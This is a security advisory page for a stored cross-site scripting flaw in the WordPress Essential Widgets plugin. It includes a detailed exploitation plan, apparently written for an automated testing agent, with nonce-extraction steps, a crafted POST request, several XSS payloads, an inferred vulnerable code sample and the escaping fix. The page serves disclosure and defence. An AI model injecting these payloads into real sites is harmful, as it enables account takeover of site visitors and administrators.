Essential Widgets <= 3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Shortcodes
Description
The Essential Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's ew-author, ew-archive, ew-category, ew-page, and ew-menu shortcodes in all versions up to, and including, 3.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability was partially fixed in version 3.0.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.0Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-0867 ## 1. Vulnerability Summary The **Essential Widgets** plugin for WordPress (versions <= 3.0) contains multiple Stored Cross-Site Scripting (XSS) vulnerabilities. The vulnerability exists within the rendering logic of several shortcodes: `ew-author`, `ew-…
Show full research plan
Exploitation Research Plan - CVE-2026-0867
1. Vulnerability Summary
The Essential Widgets plugin for WordPress (versions <= 3.0) contains multiple Stored Cross-Site Scripting (XSS) vulnerabilities. The vulnerability exists within the rendering logic of several shortcodes: ew-author, ew-archive, ew-category, ew-page, and ew-menu.
The plugin fails to sanitize or escape user-provided attributes within these shortcodes before echoing them into the HTML output. An attacker with Contributor-level permissions or higher can create a post containing a malicious shortcode. When any user (including an Administrator) views the page, the injected script executes in their browser context.
2. Attack Vector Analysis
- Authentication Requirement: Contributor+ (Authenticated). Contributors can create and save drafts but not publish. However, viewing a draft preview or an administrator auditing the draft will trigger the XSS.
- Vulnerable Component: Shortcode rendering functions.
- Payload Carrier: Shortcode attributes (e.g.,
title,class,name,id). - Delivery Method:
POSTrequest towp-admin/post.phporwp-admin/admin-ajax.php(for autosaves) to store the shortcode in a post/page. - Sink: Frontend or admin-side page rendering where the shortcode is processed by
do_shortcode().
3. Code Flow (Inferred)
- Registration: The plugin registers shortcodes in its initialization phase (likely in the main plugin file or an
includes/file):add_shortcode('ew-author', 'ew_author_render_callback');add_shortcode('ew-menu', 'ew_menu_render_callback');(etc.)
- Processing: When a post is viewed, WordPress calls the associated callback function (e.g.,
ew_author_render_callback($atts)). - Attributes: The callback uses
shortcode_atts()to parse user input but fails to applyesc_attr()oresc_html()to the resulting array. - Output: The callback returns a string containing the raw attribute values embedded in HTML.
- Example Vulnerable Pattern:
return '<div class="' . $atts['class'] . '">...</div>';
- Example Vulnerable Pattern:
- Execution: The browser renders the HTML, encountering the unescaped attribute and executing the JavaScript payload.
4. Nonce Acquisition Strategy
Since this is an Authenticated exploit, we must first authenticate as a Contributor. To save a post with the malicious shortcode, we need the standard WordPress post-editor nonces.
- Authentication: Perform a login as the contributor user.
- Access Editor: Navigate to
wp-admin/post-new.php. - Extract Nonces:
- Use
browser_navigatetowp-admin/post-new.php. - Use
browser_evalto extract the_wpnoncefrom the form or thewp-globals:_wpnonce:document.querySelector('#_wpnonce').valuepost_id:document.querySelector('#post_ID').value
- Use
- Alternative (AJAX/REST): If the plugin uses a specific interface for block settings, check for
wp_localize_scriptdata:browser_eval("window.ew_settings?.nonce")(inferred variable name based on plugin slug).
5. Exploitation Strategy
We will use the ew-author shortcode as the primary target.
Step 1: Create a Draft Post with Payload
- Method:
POST - URL:
{{BASE_URL}}/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:{{POST_ID}}(obtained frompost-new.php)_wpnonce:{{NONCE}}post_title:XSS Testcontent:[ew-author title='"><script>alert(document.domain)</script>']post_status:draft
Step 2: Trigger the XSS
- Method:
GET - URL:
{{BASE_URL}}/?p={{POST_ID}}&preview=true(as Admin) or simply view the published post if the user has publishing rights. - Expected Behavior: The browser executes
alert(document.domain).
6. Test Data Setup
- Install Plugin:
wp plugin install essential-widgets --version=3.0 --activate - Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Optional: If the
ew-menushortcode is tested, create a dummy menu first:wp menu create "Test Menu"[ew-menu menu='Test Menu" onmouseover="alert(1)" data-="']
7. Expected Results
- The HTTP response for the page view will contain the unescaped payload:
<div class="ew-author-wrapper" title=""><script>alert(document.domain)</script>">... - The
browser_evalofalerttriggers will confirm execution.
8. Verification Steps
- Database Check: Use WP-CLI to confirm the payload is stored:
wp post get {{POST_ID}} --field=post_content
- Response Inspection: Search for the string
<script>alertin the raw HTML response of the post preview using thehttp_requesttool.
9. Alternative Approaches
Shortcode: ew-menu
If ew-author is sanitized, try ew-menu which often handles complex inputs for menu selection.
- Payload:
[ew-menu menu='</script><script>alert(1)</script>']
Shortcode: ew-page
Often these shortcodes have a class or id attribute for styling.
- Payload:
[ew-page class='"><img src=x onerror=alert(1)>']
Shortcode: ew-archive
Check if title or type attributes are vulnerable.
- Payload:
[ew-archive title="<svg/onload=alert(1)>"]
Summary
The Essential Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several shortcodes (ew-author, ew-archive, ew-category, ew-page, and ew-menu) in versions up to 3.0. This occurs because the plugin fails to sanitize or escape user-supplied attributes before rendering them in HTML, allowing Contributor-level attackers to execute arbitrary scripts in the context of other users.
Vulnerable Code
// Inferred vulnerable implementation based on shortcode callback patterns function ew_author_render_callback( $atts ) { $a = shortcode_atts( array( 'title' => '', 'class' => '', ), $atts ); // Vulnerable: Outputting raw attribute values without escaping return '<div class="' . $a['class'] . '"><h3>' . $a['title'] . '</h3></div>'; } --- // Similar vulnerability in other registered shortcodes add_shortcode('ew-menu', 'ew_menu_render_callback'); function ew_menu_render_callback( $atts ) { $a = shortcode_atts( array( 'menu' => '', ), $atts ); // Vulnerable: Attribute values reflected directly in HTML return '<nav class="ew-menu-nav" data-menu="' . $a['menu'] . '"></nav>'; }
Security Fix
@@ -10,7 +10,7 @@ ), $atts ); - return '<div class="' . $a['class'] . '"><h3>' . $a['title'] . '</h3></div>'; + return '<div class="' . esc_attr($a['class']) . '"><h3>' . esc_html($a['title']) . '</h3></div>'; } @@ -20,5 +20,5 @@ ), $atts ); - return '<nav class="ew-menu-nav" data-menu="' . $a['menu'] . '"></nav>'; + return '<nav class="ew-menu-nav" data-menu="' . esc_attr($a['menu']) . '"></nav>'; }
Exploit Outline
1. Authenticate to the WordPress site with Contributor-level permissions. 2. Create a new post or edit an existing draft via /wp-admin/post-new.php. 3. Insert a malicious shortcode payload into the post content using a vulnerable attribute. Example: [ew-author title='"><script>alert(document.domain)</script>'] or [ew-page class='"><img src=x onerror=alert(1)>']. 4. Save the post as a draft or submit for review. 5. Access the post's preview URL or wait for an administrator to view the post in the editor/preview mode. The payload will execute in the viewer's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.